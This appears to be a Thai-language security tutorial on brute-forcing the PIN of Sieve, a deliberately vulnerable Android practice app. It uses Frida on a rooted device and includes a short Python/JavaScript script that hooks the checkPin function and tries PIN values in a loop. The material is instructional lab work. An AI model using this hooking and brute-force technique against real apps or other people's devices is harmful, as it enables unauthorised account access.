How to brute force PIN using Frida – Sieve

บทนำ (Overview)

บทความนี้กล่าวถึงวิธีเรียกใช้งาน Function และสามารถกำหนด Parameter ได้เอง จนนำไปประยุกต์ใช้ในการ Brute force หน้า PIN ของโปรแกรมที่มีช่องโหว่ โดยเราจะใช้ความสามารถของ Frida ในการ Hook process ของโปรแกรมที่เรากำลังทดสอบ ซึ่งสามารถสรุปหลักการเบื้องต้นโดยสังเขปดังนี้

  • ติดตั้ง Frida client และ Server
  • เครื่องผ่านการ Root แล้ว
  • ทำการ Reverse engineering เพื่อตรวจสอบ Code ที่น่าสนใจ
  • ตรวจสอบหน้าที่คาดว่าน่าจะมี Attack surface (Activity | function | Parameter)
  • เขียน Code Bypass เพื่อเชื่อมต่อกับ Frida (Python หรือ Javascript)
  • Run code ที่เครื่องคอมพิวเตอร์ และใช้งาน Function ที่เครื่อง Android

ขั้นตอน (Steps)

ติดตั้งโปรแกรมช่องโหว่ Sieve

  1. ติดตั้งโปรแกรม “Sieve” บทเครื่อง Android หรือ Emulator (How to install sieve.apk on Genymotion Emulator)
  2. ตั้งรหัสผ่าน และข้อมูล

เชื่อมต่อ Frida และตรวจสอบ Process ของโปรแกรมที่ต้องการทดสอบ

  1. ติดตั้งโปรแกรม Frida บนเครื่อง Root จากบทความ How to setup Frida for jailbroken device
  2. เปิด Terminal จากนั้นตรวจสอบ Process ของโปรแกรม Sieve โดยใช้คำสั่ง
    frida-ps -aU | grep -i sieve
    


ทำการ Reverse Engineering เพื่อตรวจสอบ Source code สำหรับกระบวนการ Login

  1. ทำการ Reverse Engineering เพื่อดู Source code ได้จากบทความ
  2. จาก Source code เราพบว่า ข้อมูลสำคัญดังนี้
    • Class ที่เราสนใจ Brute-force PIN คือหน้า Login ดังนี้ com.mwr.example.sieve.AuthServiceConnector
    • Function ที่เราสนใจ Brute-force คือ check Pin เป็น Function ที่มี 1 parameter ที่ต้องใส่ เป็นค่า String ก็คือค่า PIN สำหรับ Brute-force
    • ฟังก์ชันดังกล่าวใช้บริการของ Service  ที่สร้างขึ้นมาเป็น Background process สามารถติดตามวิธีการตรวจสอบ Service และ Sourcecode ตามบทความ How to exploit the Android Services using Drozer– Sieve
  3. เราสามารถเรียก Override ฟังก์ชันดังกล่าวและส่ง Parameter โดยเปลี่ยนค่า Pin ไปเรื่อย ๆ จนกว่าพบ Pin ที่ถูกต้องโดยใช้คำสั่งดังนี้
    import frida, sys
    
    
    jscode = """
    Java.perform(function () {
        var Activity = Java.use('com.mwr.example.sieve.AuthServiceConnector');
        Activity.checkPin.implementation = function(v){
            send('checkPin');
            for(var i=1111; i<1333; i++)
            {
                this.checkPin(i+"");
                send(i + ": ");
            }
            console.log('Patch done!!!');
        };
    
    
    });
    """
    
    process = frida.get_usb_device().attach('com.mwr.example.sieve')
    script = process.create_script(jscode)
    script.load()
    sys.stdin.read()
    
  4. ไปหน้า Submit สำหรับ Pin (ให้ Sign in โดยใช้ Password ที่เราตั้งไว้ครั้งแรก)
  5. ใช้ Python code ที่เขียนขึ้น กดปุ่ม Submit

 

ใส่ความเห็น